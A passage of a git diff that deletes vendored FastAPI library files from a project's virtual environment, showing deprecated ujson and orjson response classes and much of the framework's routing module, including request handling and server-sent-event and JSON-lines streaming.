cast(_UjsonModule, importlib.import_module("ujson")) -except ModuleNotFoundError: # pragma: nocover - ujson = None # type: ignore[assignment] - - -try: - orjson = cast(_OrjsonModule, importlib.import_module("orjson")) -except ModuleNotFoundError: # pragma: nocover - orjson = None # type: ignore[assignment] - - -@deprecated( - "UJSONResponse is deprecated, FastAPI now serializes data directly to JSON " - "bytes via Pydantic when a return type or response model is set, which is " - "faster and doesn't need a custom response class. Read more in the FastAPI " - "docs: https://fastapi.tiangolo.com/advanced/custom-response/#orjson-or-response-model " - "and https://fastapi.tiangolo.com/tutorial/response-model/", - category=FastAPIDeprecationWarning, - stacklevel=2, -) -class UJSONResponse(JSONResponse): - """JSON response using the ujson library to serialize data to JSON. - - **Deprecated**: `UJSONResponse` is deprecated. FastAPI now serializes data - directly to JSON bytes via Pydantic when a return type or response model is - set, which is faster and doesn't need a custom response class. - - Read more in the - [FastAPI docs for Custom Response](https://fastapi.tiangolo.com/advanced/custom-response/#orjson-or-response-model) - and the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - - **Note**: `ujson` is not included with FastAPI and must be installed - separately, e.g. `pip install ujson`. - """ - - def render(self, content: Any) -> bytes: - assert ujson is not None, "ujson must be installed to use UJSONResponse" - return ujson.dumps(content, ensure_ascii=False).encode("utf-8") - - -@deprecated( - "ORJSONResponse is deprecated, FastAPI now serializes data directly to JSON " - "bytes via Pydantic when a return type or response model is set, which is " - "faster and doesn't need a custom response class. Read more in the FastAPI " - "docs: https://fastapi.tiangolo.com/advanced/custom-response/#orjson-or-response-model " - "and https://fastapi.tiangolo.com/tutorial/response-model/", - category=FastAPIDeprecationWarning, - stacklevel=2, -) -class ORJSONResponse(JSONResponse): - """JSON response using the orjson library to serialize data to JSON. - - **Deprecated**: `ORJSONResponse` is deprecated. FastAPI now serializes data - directly to JSON bytes via Pydantic when a return type or response model is - set, which is faster and doesn't need a custom response class. - - Read more in the - [FastAPI docs for Custom Response](https://fastapi.tiangolo.com/advanced/custom-response/#orjson-or-response-model) - and the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - - **Note**: `orjson` is not included with FastAPI and must be installed - separately, e.g. `pip install orjson`. - """ - - def render(self, content: Any) -> bytes: - assert orjson is not None, "orjson must be installed to use ORJSONResponse" - return orjson.dumps( - content, option=orjson.OPT_NON_STR_KEYS | orjson.OPT_SERIALIZE_NUMPY - ) diff --git a/venv/Lib/site-packages/fastapi/routing.py b/venv/Lib/site-packages/fastapi/routing.py deleted file mode 100644 index dc48a33d63ed9aae3c1b4a5d8abd2ab4f724c908..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/routing.py +++ /dev/null @@ -1,6447 +0,0 @@ -import contextlib -import copy -import email.message -import errno -import functools -import inspect -import json -import os -import stat -import threading -import types -import warnings -from collections.abc import ( - AsyncIterator, - Awaitable, - Callable, - Collection, - Coroutine, - Generator, - Iterator, - Mapping, - Sequence, -) -from contextlib import ( - AbstractAsyncContextManager, - AbstractContextManager, - AsyncExitStack, - asynccontextmanager, -) -from contextvars import ContextVar -from dataclasses import dataclass, field -from enum import Enum, IntEnum -from typing import ( - Annotated, - Any, - Literal, - Protocol, - TypeVar, - cast, -) - -import anyio -from annotated_doc import Doc -from anyio.abc import ObjectReceiveStream -from fastapi import params -from fastapi._compat import ( - ModelField, - Undefined, - lenient_issubclass, -) -from fastapi.datastructures import Default, DefaultPlaceholder -from fastapi.dependencies.models import ( - Dependant, - _is_async_gen_callable, - _is_coroutine_callable, - _is_gen_callable, -) -from fastapi.dependencies.utils import ( - SolvedDependency, - _get_body_field, - _get_flat_body_params, - _should_embed_body_fields, - get_dependant, - get_parameterless_sub_dependant, - get_stream_item_type, - get_typed_return_annotation, - solve_dependencies, -) -from fastapi.encoders import jsonable_encoder -from fastapi.exceptions import ( - EndpointContext, - FastAPIError, - RequestValidationError, - ResponseValidationError, - WebSocketRequestValidationError, -) -from fastapi.sse import ( - _PING_INTERVAL, - KEEPALIVE_COMMENT, - EventSourceResponse, - ServerSentEvent, - format_sse_event, -) -from fastapi.types import DecoratedCallable, IncEx -from fastapi.utils import ( - create_model_field, - generate_unique_id, - get_value_or_default, - is_body_allowed_for_status_code, -) -from starlette import routing -from starlette._exception_handler import wrap_app_handling_exceptions -from starlette._utils import get_route_path, is_async_callable -from starlette.concurrency import iterate_in_threadpool, run_in_threadpool -from starlette.datastructures import URL, FormData, URLPath -from starlette.exceptions import HTTPException -from starlette.requests import Request -from starlette.responses import ( - JSONResponse, - PlainTextResponse, - RedirectResponse, - Response, - StreamingResponse, -) -from starlette.routing import ( - BaseRoute, - Match, - NoMatchFound, - compile_path, - get_name, -) -from starlette.routing import Mount as Mount # noqa -from starlette.staticfiles import StaticFiles -from starlette.types import AppType, ASGIApp, Lifespan, Receive, Scope, Send -from starlette.websockets import WebSocket -from typing_extensions import deprecated - - -# Copy of starlette.routing.request_response modified to include the -# dependencies' AsyncExitStack -def request_response( - func: Callable[[Request], Awaitable[Response] | Response], -) -> ASGIApp: - """ - Takes a function or coroutine `func(request) -> response`, - and returns an ASGI application. - """ - f: Callable[[Request], Awaitable[Response]] = ( - func # type: ignore[assignment] - if is_async_callable(func) - else functools.partial(run_in_threadpool, func) # type: ignore[call-arg] - ) # ty: ignore[invalid-assignment] - - async def app(scope: Scope, receive: Receive, send: Send) -> None: - request = Request(scope, receive, send) - - async def app(scope: Scope, receive: Receive, send: Send) -> None: - # Starts customization - response_awaited = False - async with AsyncExitStack() as request_stack: - scope["fastapi_inner_astack"] = request_stack - async with AsyncExitStack() as function_stack: - scope["fastapi_function_astack"] = function_stack - response = await f(request) - await response(scope, receive, send) - # Continues customization - response_awaited = True - if not response_awaited: - raise FastAPIError( - "Response not awaited. There's a high chance that the " - "application code is raising an exception and a dependency with yield " - "has a block with a bare except, or a block with except Exception, " - "and is not raising the exception again. Read more about it in the " - "docs: https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-with-yield/#dependencies-with-yield-and-except" - ) - - # Same as in Starlette - await wrap_app_handling_exceptions(app, request)(scope, receive, send) - - return app - - -# Copy of starlette.routing.websocket_session modified to include the -# dependencies' AsyncExitStack -def websocket_session( - func: Callable[[WebSocket], Awaitable[None]], -) -> ASGIApp: - """ - Takes a coroutine `func(session)`, and returns an ASGI application. - """ - # assert asyncio.iscoroutinefunction(func), "WebSocket endpoints must be async" - - async def app(scope: Scope, receive: Receive, send: Send) -> None: - session = WebSocket(scope, receive=receive, send=send) - - async def app(scope: Scope, receive: Receive, send: Send) -> None: - async with AsyncExitStack() as request_stack: - scope["fastapi_inner_astack"] = request_stack - async with AsyncExitStack() as function_stack: - scope["fastapi_function_astack"] = function_stack - await func(session) - - # Same as in Starlette - await wrap_app_handling_exceptions(app, session)(scope, receive, send) - - return app - - -_T = TypeVar("_T") - - -# Vendored from starlette.routing to avoid importing private symbols -class _AsyncLiftContextManager(AbstractAsyncContextManager[_T]): - """ - Wraps a synchronous context manager to make it async. - - This is vendored from Starlette to avoid importing private symbols. - """ - - def __init__(self, cm: AbstractContextManager[_T]) -> None: - self._cm = cm - - async def __aenter__(self) -> _T: - return self._cm.__enter__() - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - traceback: types.TracebackType | None, - ) -> bool | None: - return self._cm.__exit__(exc_type, exc_value, traceback) - - -# Vendored from starlette.routing to avoid importing private symbols -def _wrap_gen_lifespan_context( - lifespan_context: Callable[[Any], Generator[Any, Any, Any]], -) -> Callable[[Any], AbstractAsyncContextManager[Any]]: - """ - Wrap a generator-based lifespan context into an async context manager. - - This is vendored from Starlette to avoid importing private symbols. - """ - cmgr = contextlib.contextmanager(lifespan_context) - - @functools.wraps(cmgr) - def wrapper(app: Any) -> _AsyncLiftContextManager[Any]: - return _AsyncLiftContextManager(cmgr(app)) - - return wrapper - - -def _merge_lifespan_context( - original_context: Lifespan[Any], nested_context: Lifespan[Any] -) -> Lifespan[Any]: - @asynccontextmanager - async def merged_lifespan( - app: AppType, - ) -> AsyncIterator[Mapping[str, Any] | None]: - async with original_context(app) as maybe_original_state: - async with nested_context(app) as maybe_nested_state: - if maybe_nested_state is None and maybe_original_state is None: - yield None # old ASGI compatibility - else: - yield {**(maybe_nested_state or {}), **(maybe_original_state or {})} - - return merged_lifespan # type: ignore[return-value] # ty: ignore[invalid-return-type] - - -class _DefaultLifespan: - """ - Default lifespan context manager that runs on_startup and on_shutdown handlers. - - This is a copy of the Starlette _DefaultLifespan class that was removed - in Starlette. FastAPI keeps it to maintain backward compatibility with - on_startup and on_shutdown event handlers. - - Ref: https://github.com/Kludex/starlette/pull/3117 - """ - - def __init__(self, router: "APIRouter") -> None: - self._router = router - - async def __aenter__(self) -> None: - await self._router._startup() - - async def __aexit__(self, *exc_info: object) -> None: - await self._router._shutdown() - - def __call__(self: _T, app: object) -> _T: - return self - - -# Cache for endpoint context to avoid re-extracting on every request -_endpoint_context_cache: dict[int, EndpointContext] = {} - - -def _extract_endpoint_context(func: Any) -> EndpointContext: - """Extract endpoint context with caching to avoid repeated file I/O.""" - func_id = id(func) - - if func_id in _endpoint_context_cache: - return _endpoint_context_cache[func_id] - - try: - ctx: EndpointContext = {} - - if (source_file := inspect.getsourcefile(func)) is not None: - ctx["file"] = source_file - if (line_number := inspect.getsourcelines(func)[1]) is not None: - ctx["line"] = line_number - if (func_name := getattr(func, "__name__", None)) is not None: - ctx["function"] = func_name - except Exception: - ctx = EndpointContext() - - _endpoint_context_cache[func_id] = ctx - return ctx - - -async def serialize_response( - *, - field: ModelField | None = None, - response_content: Any, - include: IncEx | None = None, - exclude: IncEx | None = None, - by_alias: bool = True, - exclude_unset: bool = False, - exclude_defaults: bool = False, - exclude_none: bool = False, - is_coroutine: bool = True, - endpoint_ctx: EndpointContext | None = None, - dump_json: bool = False, -) -> Any: - if field: - if is_coroutine: - value, errors = field.validate(response_content, {}, loc=("response",)) - else: - value, errors = await run_in_threadpool( - field.validate, response_content, {}, loc=("response",) - ) - if errors: - ctx = endpoint_ctx or EndpointContext() - raise ResponseValidationError( - errors=errors, - body=response_content, - endpoint_ctx=ctx, - ) - serializer = field.serialize_json if dump_json else field.serialize - return serializer( - value, - include=include, - exclude=exclude, - by_alias=by_alias, - exclude_unset=exclude_unset, - exclude_defaults=exclude_defaults, - exclude_none=exclude_none, - ) - - else: - return jsonable_encoder(response_content) - - -async def run_endpoint_function( - *, dependant: Dependant, values: dict[str, Any], is_coroutine: bool -) -> Any: - # Only called by get_request_handler. Has been split into its own function to - # facilitate profiling endpoints, since inner functions are harder to profile. - assert dependant.call is not None, "dependant.call must be a function" - - if is_coroutine: - return await dependant.call(**values) - else: - return await run_in_threadpool(dependant.call, **values) - - -def _build_response_args( - *, status_code: int | None, solved_result: Any -) -> dict[str, Any]: - response_args: dict[str, Any] = { - "background": solved_result.background_tasks, - } - # If status_code was set, use it, otherwise use the default from the - # response class, in the case of redirect it's 307 - current_status_code = ( - status_code if status_code else solved_result.response.status_code - ) - if current_status_code is not None: - response_args["status_code"] = current_status_code - if solved_result.response.status_code: - response_args["status_code"] = solved_result.response.status_code - return response_args - - -def get_request_handler( - dependant: Dependant, - body_field: ModelField | None = None, - status_code: int | None = None, - response_class: type[Response] | DefaultPlaceholder = Default(JSONResponse), - response_field: ModelField | None = None, - response_model_include: IncEx | None = None, - response_model_exclude: IncEx | None = None, - response_model_by_alias: bool = True, - response_model_exclude_unset: bool = False, - response_model_exclude_defaults: bool = False, - response_model_exclude_none: bool = False, - dependency_overrides_provider: Any | None = None, - embed_body_fields: bool = False, - strict_content_type: bool | DefaultPlaceholder = Default(True), - stream_item_field: ModelField | None = None, - is_json_stream: bool = False, -) -> Callable[[Request], Coroutine[Any, Any, Response]]: - assert dependant.call is not None, "dependant.call must be a function" - is_coroutine = _is_coroutine_callable(dependant.call) - is_body_form = body_field and isinstance(body_field.field_info, params.Form) - if isinstance(response_class, DefaultPlaceholder): - actual_response_class: type[Response] = response_class.value - else: - actual_response_class = response_class - is_sse_stream = lenient_issubclass(actual_response_class, EventSourceResponse) - if isinstance(strict_content_type, DefaultPlaceholder): - actual_strict_content_type: bool = strict_content_type.value - else: - actual_strict_content_type = strict_content_type - - async def app(request: Request) -> Response: - response: Response | None = None - file_stack = request.scope.get("fastapi_middleware_astack") - assert isinstance(file_stack, AsyncExitStack), ( - "fastapi_middleware_astack not found in request scope" - ) - - # Extract endpoint context for error messages - endpoint_ctx = ( - _extract_endpoint_context(dependant.call) - if dependant.call - else EndpointContext() - ) - - if dependant.path: - # For mounted sub-apps, include the mount path prefix - mount_path = request.scope.get("root_path", "").rstrip("/") - endpoint_ctx["path"] = f"{request.method} {mount_path}{dependant.path}" - - # Read body and auto-close files - try: - body: Any = None - if body_field: - if is_body_form: - body = await request.form() - file_stack.push_async_callback(body.close) - else: - body_bytes = await request.body() - if body_bytes: - json_body: Any = Undefined - content_type_value = request.headers.get("content-type") - if not content_type_value: - if not actual_strict_content_type: - json_body = await request.json() - else: - message = email.message.Message() - message["content-type"] = content_type_value - if message.get_content_maintype() == "application": - subtype = message.get_content_subtype() - if subtype == "json" or subtype.endswith("+json"): - json_body = await request.json() - if json_body != Undefined: - body = json_body - else: - body = body_bytes - except json.JSONDecodeError as e: - validation_error = RequestValidationError( - [ - { - "type": "json_invalid", - "loc": ("body", e.pos), - "msg": "JSON decode error", - "input": {}, - "ctx": {"error": e.msg}, - } - ], - body=e.doc, - endpoint_ctx=endpoint_ctx, - ) - raise validation_error from e - except HTTPException: - # If a middleware raises an HTTPException, it should be raised again - raise - except Exception as e: - http_error = HTTPException( - status_code=400, detail="There was an error parsing the body" - ) - raise http_error from e - - # Solve dependencies and run path operation function, auto-closing dependencies - errors: list[Any] = [] - async_exit_stack = request.scope.get("fastapi_inner_astack") - assert isinstance(async_exit_stack, AsyncExitStack), ( - "fastapi_inner_astack not found in request scope" - ) - solved_result = await solve_dependencies( - request=request, - dependant=dependant, - body=cast(dict[str, Any] | FormData | bytes | None, body), - dependency_overrides_provider=dependency_overrides_provider, - async_exit_stack=async_exit_stack, - embed_body_fields=embed_body_fields, - ) - errors = solved_result.errors - assert dependant.call # For types - if not errors: - # Shared serializer for stream items (JSONL and SSE). - # Validates against stream_item_field when set, then - # serializes to JSON bytes. - def _serialize_data(data: Any) -> bytes: - if stream_item_field: - value, errors_ = stream_item_field.validate( - data, {}, loc=("response",) - ) - if errors_: - ctx = endpoint_ctx or EndpointContext() - raise ResponseValidationError( - errors=errors_, - body=data, - endpoint_ctx=ctx, - ) - return stream_item_field.serialize_json( - value, - include=response_model_include, - exclude=response_model_exclude, - by_alias=response_model_by_alias, - exclude_unset=response_model_exclude_unset, - exclude_defaults=response_model_exclude_defaults, - exclude_none=response_model_exclude_none, - ) - else: - data = jsonable_encoder(data) - return json.dumps(data).encode("utf-8") - - if is_sse_stream: - # Generator endpoint: stream as Server-Sent Events - gen = dependant.call(**solved_result.values) - - def _serialize_sse_item(item: Any) -> bytes: - if isinstance(item, ServerSentEvent): - # User controls the event structure. - # Serialize the data payload if present. - # For ServerSentEvent items we skip stream_item_field - # validation (the user may mix types intentionally). - if item.raw_data is not None: - data_str: str | None = item.raw_data - elif item.data is not None: - if hasattr(item.data, "model_dump_json"): - data_str = item.data.model_dump_json() - else: - data_str = json.dumps(jsonable_encoder(item.data)) - else: - data_str = None - return format_sse_event( - data_str=data_str, - event=item.event, - id=item.id, - retry=item.retry, - comment=item.comment, - ) - else: - # Plain object: validate + serialize via - # stream_item_field (if set) and wrap in data field - return format_sse_event( - data_str=_serialize_data(item).decode("utf-8") - ) - - if _is_async_gen_callable(dependant.call): - sse_aiter: AsyncIterator[Any] = gen.__aiter__() - else: - sse_aiter = iterate_in_threadpool(gen) - - @asynccontextmanager - async def _sse_producer_cm() -> AsyncIterator[ - ObjectReceiveStream[bytes] - ]: - # Use a memory stream to decouple generator iteration - # from the keepalive timer. A producer task pulls items - # from the generator independently, so - # `anyio.fail_after` never wraps the generator's - # `__anext__` directly - avoiding CancelledError that - # would finalize the generator and also working for sync - # generators running in a thread pool. - # - # This context manager is entered on the request-scoped - # AsyncExitStack so its __aexit__ (which cancels the - # task group) is called by the exit stack after the - # streaming response completes — not by async generator - # finalization via GeneratorExit. - # Ref: https://peps.python.org/pep-0789/ - send_stream, receive_stream = anyio.create_memory_object_stream[ - bytes - ](max_buffer_size=1) - - async def _producer() -> None: - async with send_stream: - async for raw_item in sse_aiter: - await send_stream.send(_serialize_sse_item(raw_item)) - - send_keepalive, receive_keepalive = ( - anyio.create_memory_object_stream[bytes](max_buffer_size=1) - ) - - async def _keepalive_inserter() -> None: - """Read from the producer and forward to the output, - inserting keepalive comments on timeout.""" - async with send_keepalive, receive_stream: - try: - while True: - try: - with anyio.fail_after(_PING_INTERVAL): - data = await receive_stream.receive() - await send_keepalive.send(data) - except TimeoutError: - await send_keepalive.send(KEEPALIVE_COMMENT) - except anyio.EndOfStream: - pass - - async with anyio.create_task_group() as tg: - tg.start_soon(_producer) - tg.start_soon(_keepalive_inserter) - yield receive_keepalive - tg.cancel_scope.cancel() - - # Enter the SSE context manager on the request-scoped - # exit stack. The stack outlives the streaming response, - # so __aexit__ runs via proper structured teardown, not - # via GeneratorExit thrown into an async generator. - sse_receive_stream = await async_exit_stack.enter_async_context( - _sse_producer_cm() - ) - # Ensure the receive stream is closed when the exit stack - # unwinds, preventing ResourceWarning from __del__. - async_exit_stack.push_async_callback(sse_receive_stream.aclose) - - async def _sse_with_checkpoints( - stream: ObjectReceiveStream[bytes], - ) -> AsyncIterator[bytes]: - async for data in stream: - yield data - # Guarantee a checkpoint so cancellation can be - # delivered even when the producer is faster than - # the consumer and receive() never suspends. - await anyio.sleep(0) - - sse_stream_content: AsyncIterator[bytes] | Iterator[bytes] = ( - _sse_with_checkpoints(sse_receive_stream) - ) - - response_args = _build_response_args( - status_code=status_code, solved_result=solved_result - ) - response = StreamingResponse( - sse_stream_content, - media_type="text/event-stream", - **response_args, - ) - response.headers["Cache-Control"] = "no-cache" - # For Nginx proxies to not buffer server sent events - response.headers["X-Accel-Buffering"] = "no" - response.headers.raw.extend(solved_result.response.headers.raw) - elif is_json_stream: - # Generator endpoint: stream as JSONL - gen = dependant.call(**solved_result.values) - - def _serialize_item(item: Any) -> bytes: - return _serialize_data(item) + b"\n" - - if _is_async_gen_callable(dependant.call): - - async def _async_stream_jsonl() -> AsyncIterator[bytes]: - async for item in gen: - yield _serialize_item(item) - # To allow for cancellation to trigger - # Ref: https://github.com/fastapi/fastapi/issues/14680 - await anyio.sleep(0) - - jsonl_stream_content: AsyncIterator[bytes] | Iterator[bytes] = ( - _async_stream_jsonl() - ) - else: - - def _sync_stream_jsonl() -> Iterator[bytes]: - for item in gen: # ty: ignore[not-iterable] - yield _serialize_item(item) - - jsonl_stream_content = _sync_stream_jsonl() - - response_args = _build_response_args( - status_code=status_code, solved_result=solved_result - ) - response = StreamingResponse( - jsonl_stream_content, - media_type="application/jsonl", - **response_args, - ) - response.headers.raw.extend(solved_result.response.headers.raw) - elif _is_async_gen_callable(dependant.call) or _is_gen_callable( - dependant.call - ): - # Raw streaming with explicit response_class (e.g. StreamingResponse) - gen = dependant.call(**solved_result.values) - if _is_async_gen_callable(dependant.call): - - async def _async_stream_raw( - async_gen: AsyncIterator[Any], - ) -> AsyncIterator[Any]: - async for chunk in async_gen: - yield chunk - # To allow for cancellation to trigger - # Ref: https://github.com/fastapi/fastapi/issues/14680 - await anyio.sleep(0) - - gen = _async_stream_raw(gen) - response_args = _build_response_args( - status_code=status_code, solved_result=solved_result - ) - response = actual_response_class(content=gen, **response_args) - response.headers.raw.extend(solved_result.response.headers.raw) - else: - raw_response = await run_endpoint_function( - dependant=dependant, - values=solved_result.values, - is_coroutine=is_coroutine, - ) - if isinstance(raw_response, Response): - if raw_response.background is None: - raw_response.background = solved_result.background_tasks - response = raw_response - else: - response_args = _build_response_args( - status_code=status_code, solved_result=solved_result - ) - # Use the fast path (dump_json) when no custom response - # class was set and a response field with a TypeAdapter - # exists. Serializes directly to JSON bytes via Pydantic's - # Rust core, skipping the intermediate Python dict + - # json.dumps() step. - use_dump_json = response_field is not None and isinstance( - response_class, DefaultPlaceholder - ) - content = await serialize_response( - field=response_field, - response_content=raw_response, - include=response_model_include, - exclude=response_model_exclude, - by_alias=response_model_by_alias, - exclude_unset=response_model_exclude_unset, - exclude_defaults=response_model_exclude_defaults, - exclude_none=response_model_exclude_none, - is_coroutine=is_coroutine, - endpoint_ctx=endpoint_ctx, - dump_json=use_dump_json, - ) - if use_dump_json: - response = Response( - content=content, - media_type="application/json", - **response_args, - ) - else: - response = actual_response_class(content, **response_args) - if not is_body_allowed_for_status_code(response.status_code): - response.body = b"" - response.headers.raw.extend(solved_result.response.headers.raw) - if errors: - validation_error = RequestValidationError( - errors, body=body, endpoint_ctx=endpoint_ctx - ) - raise validation_error - - # Return response - assert response - return response - - return app - - -def get_websocket_app( - dependant: Dependant, - dependency_overrides_provider: Any | None = None, - embed_body_fields: bool = False, -) -> Callable[[WebSocket], Coroutine[Any, Any, Any]]: - async def app(websocket: WebSocket) -> None: - endpoint_ctx = ( - _extract_endpoint_context(dependant.call) - if dependant.call - else EndpointContext() - ) - if dependant.path: - # For mounted sub-apps, include the mount path prefix - mount_path = websocket.scope.get("root_path", "").rstrip("/") - endpoint_ctx["path"] = f"WS {mount_path}{dependant.path}" - async_exit_stack = websocket.scope.get("fastapi_inner_astack") - assert isinstance(async_exit_stack, AsyncExitStack), ( - "fastapi_inner_astack not found in request scope" - ) - solved_result = await solve_dependencies( - request=websocket, - dependant=dependant, - dependency_overrides_provider=dependency_overrides_provider, - async_exit_stack=async_exit_stack, - embed_body_fields=embed_body_fields, - ) - if solved_result.errors: - raise WebSocketRequestValidationError( - solved_result.errors, - endpoint_ctx=endpoint_ctx, - ) - assert dependant.call is not None, "dependant.call must be a function" - await dependant.call(**solved_result.values) - - return app - - -class APIWebSocketRoute(routing.WebSocketRoute): - def __init__( - self, - path: str, - endpoint: Callable[..., Any], - *, - name: str | None = None, - dependencies: Sequence[params.Depends] | None = None, - dependency_overrides_provider: Any | None = None, - ) -> None: - self.path = path - self.endpoint = endpoint - self.name = get_name(endpoint) if name is None else name - self.dependencies = list(dependencies or []) - self.path_regex, self.path_format, self.param_convertors = compile_path(path) - ( - self.dependant, - _, - self._embed_body_fields, - ) = _build_dependant_with_parameterless_dependencies( - path=self.path_format, - call=self.endpoint, - dependencies=self.dependencies, - ) - self.app = websocket_session( - get_websocket_app( - dependant=self.dependant, - dependency_overrides_provider=dependency_overrides_provider, - embed_body_fields=self._embed_body_fields, - ) - ) - - def matches(self, scope: Scope) -> tuple[Match, Scope]: - match, child_scope = super().matches(scope) - if match != Match.NONE: - child_scope["route"] = self - return match, child_scope - - -_FASTAPI_SCOPE_KEY = "fastapi" -_FASTAPI_EFFECTIVE_ROUTE_CONTEXT_KEY = "effective_route_context" -_FASTAPI_FRONTEND_PATH_KEY = "frontend_path" -_FASTAPI_FRONTEND_SPECIFICITY_KEY = "frontend_specificity" -_FASTAPI_INCLUDED_ROUTER_KEY = "included_router" -_effective_route_context_var: ContextVar[Any | None] = ContextVar( - "fastapi_effective_route_context", default=None -) -_SCOPE_MISSING = object() - - -def _frontend_dependency_endpoint() -> None: - pass # pragma: no cover - - -def _build_dependant_with_parameterless_dependencies( - *, - path: str, - call: Callable[..., Any], - dependencies: Sequence[params.Depends], -) -> tuple[Dependant, list[ModelField], bool]: - dependant = get_dependant(path=path, call=call, scope="function") - for depends in dependencies[::-1]: - dependant.dependencies.insert( - 0, - get_parameterless_sub_dependant(depends=depends, path=path), - ) - body_params = _get_flat_body_params(dependant) - embed_body_fields = _should_embed_body_fields(body_params) - return dependant, body_params, embed_body_fields - - -class _RouteWithPath(Protocol): - path: str - - -def _get_fastapi_scope(scope: Scope) -> dict[str, Any]: - fastapi_scope = scope.setdefault(_FASTAPI_SCOPE_KEY, {}) - assert isinstance(fastapi_scope, dict) - return fastapi_scope - - -def _update_scope(scope: Scope, child_scope: Scope) -> None: - fastapi_child_scope = child_scope.get(_FASTAPI_SCOPE_KEY) - for key, value in child_scope.items(): - if key != _FASTAPI_SCOPE_KEY: - scope[key] = value - if isinstance(fastapi_child_scope, dict): - _get_fastapi_scope(scope).update(fastapi_child_scope) - - -def _get_scope_effective_route_context(scope: Scope) -> Any | None: - return scope.get(_FASTAPI_SCOPE_KEY, {}).get(_FASTAPI_EFFECTIVE_ROUTE_CONTEXT_KEY) - - -def _get_scope_included_router(scope: Scope) -> Any | None: - return scope.get(_FASTAPI_SCOPE_KEY, {}).get(_FASTAPI_INCLUDED_ROUTER_KEY) - - -def _frontend_scope_specificity(scope: Scope) -> int | None: - specificity = scope.get(_FASTAPI_SCOPE_KEY, {}).get( - _FASTAPI_FRONTEND_SPECIFICITY_KEY - ) - if isinstance(specificity, int): - return specificity - return None - - -def _restore_fastapi_scope_key(scope: Scope, key: str, previous: Any) -> None: - fastapi_scope = scope.get(_FASTAPI_SCOPE_KEY) - if not isinstance(fastapi_scope, dict): - return - if previous is _SCOPE_MISSING: - fastapi_scope.pop(key, None) - else: - fastapi_scope[key] = previous - - -class _APIRouteLike(Protocol): - path: str - endpoint: Callable[..., Any] - stream_item_type: Any | None - response_model: Any - summary: str | None - response_description: str - deprecated: bool | None - operation_id: str | None - response_model_include: IncEx | None - response_model_exclude: IncEx | None - response_model_by_alias: bool - response_model_exclude_unset: bool - response_model_exclude_defaults: bool - response_model_exclude_none: bool - include_in_schema: bool - response_class: type[Response] | DefaultPlaceholder - dependency_overrides_provider: Any | None - callbacks: list[BaseRoute] | None - openapi_extra: dict[str, Any] | None - generate_unique_id_function: Callable[[Any], str] | DefaultPlaceholder - strict_content_type: bool | DefaultPlaceholder - tags: list[str | Enum] - responses: dict[int | str, dict[str, Any]] - name: str - path_regex: Any - path_format: str - param_convertors: dict[str, Any] - methods: set[str] - unique_id: str - status_code: int | None - response_field: ModelField | None - stream_item_field: ModelField | None - dependencies: list[params.Depends] - description: str - response_fields: dict[int | str, ModelField] - dependant: Dependant - _embed_body_fields: bool - body_field: ModelField | None - is_sse_stream: bool - is_json_stream: bool - - -def _populate_api_route_state( - route: _APIRouteLike, - path: str, - endpoint: Callable[..., Any], - *, - response_model: Any = Default(None), - status_code: int | None = None, - tags: list[str | Enum] | None = None, - dependencies: Sequence[params.Depends] | None = None, - summary: str | None = None, - description: str | None = None, - response_description: str = "Successful Response", - responses: dict[int | str, dict[str, Any]] | None = None, - deprecated: bool | None = None, - name: str | None = None, - methods: set[str] | list[str] | None = None, - operation_id: str | None = None, - response_model_include: IncEx | None = None, - response_model_exclude: IncEx | None = None, - response_model_by_alias: bool = True, - response_model_exclude_unset: bool = False, - response_model_exclude_defaults: bool = False, - response_model_exclude_none: bool = False, - include_in_schema: bool = True, - response_class: type[Response] | DefaultPlaceholder = Default(JSONResponse), - dependency_overrides_provider: Any | None = None, - callbacks: list[BaseRoute] | None = None, - openapi_extra: dict[str, Any] | None = None, - generate_unique_id_function: Callable[[Any], str] | DefaultPlaceholder = Default( - generate_unique_id - ), - strict_content_type: bool | DefaultPlaceholder = Default(True), - stream_item_type: Any | None = None, -) -> None: - route.path = path - route.endpoint = endpoint - route.stream_item_type = stream_item_type - route.summary = summary - route.response_description = response_description - route.deprecated = deprecated - route.operation_id = operation_id - route.response_model_include = response_model_include - route.response_model_exclude = response_model_exclude - route.response_model_by_alias = response_model_by_alias - route.response_model_exclude_unset = response_model_exclude_unset - route.response_model_exclude_defaults = response_model_exclude_defaults - route.response_model_exclude_none = response_model_exclude_none - route.include_in_schema = include_in_schema - route.response_class = response_class - route.dependency_overrides_provider = dependency_overrides_provider - route.callbacks = callbacks - route.openapi_extra = openapi_extra - route.generate_unique_id_function = generate_unique_id_function - route.strict_content_type = strict_content_type - route.tags = tags or [] - route.responses = responses or {} - route.name = get_name(endpoint) if name is None else name - route.path_regex, route.path_format, route.param_convertors = compile_path(path) - if methods is None: - methods = ["GET"] - route.methods = {method.upper() for method in methods} - if isinstance(generate_unique_id_function, DefaultPlaceholder): - current_generate_unique_id: Callable[[Any], str] = ( - generate_unique_id_function.value - ) - else: - current_generate_unique_id = generate_unique_id_function - route.unique_id = route.operation_id or current_generate_unique_id(route) - # normalize enums e.g. http.HTTPStatus - if isinstance(status_code, IntEnum): - status_code = int(status_code) - route.status_code = status_code - route.dependencies = list(dependencies or []) - route.description = description or inspect.cleandoc(route.endpoint.__doc__ or "") - # if a "form feed" character (page break) is found in the description text, - # truncate description text to the content preceding the first "form feed" - route.description = route.description.split("\f")[0].strip() - response_fields = {} - for additional_status_code, response in route.responses.items(): - assert isinstance(response, dict), "An additional response must be a dict" - model = response.get("model") - if model: - assert is_body_allowed_for_status_code(additional_status_code), ( - f"Status code {additional_status_code} must not have a response body" - ) - response_name = f"Response_{additional_status_code}_{route.unique_id}" - response_field = create_model_field( - name=response_name, type_=model, mode="serialization" - ) - response_fields[additional_status_code] = response_field - if response_fields: - route.response_fields = response_fields - else: - route.response_fields = {} - - assert callable(endpoint), "An endpoint must be a callable" - ( - route.dependant, - body_params, - route._embed_body_fields, - ) = _build_dependant_with_parameterless_dependencies( - path=route.path_format, - call=route.endpoint, - dependencies=route.dependencies, - ) - route.body_field = _get_body_field( - body_params=body_params, - name=route.unique_id, - embed_body_fields=route._embed_body_fields, - ) - # Detect generator endpoints that should stream as JSONL or SSE - is_generator = _is_async_gen_callable(route.dependant.call) or _is_gen_callable( - route.dependant.call - ) - route.is_sse_stream = is_generator and lenient_issubclass( - response_class, EventSourceResponse - ) - route.is_json_stream = is_generator and isinstance( - response_class, 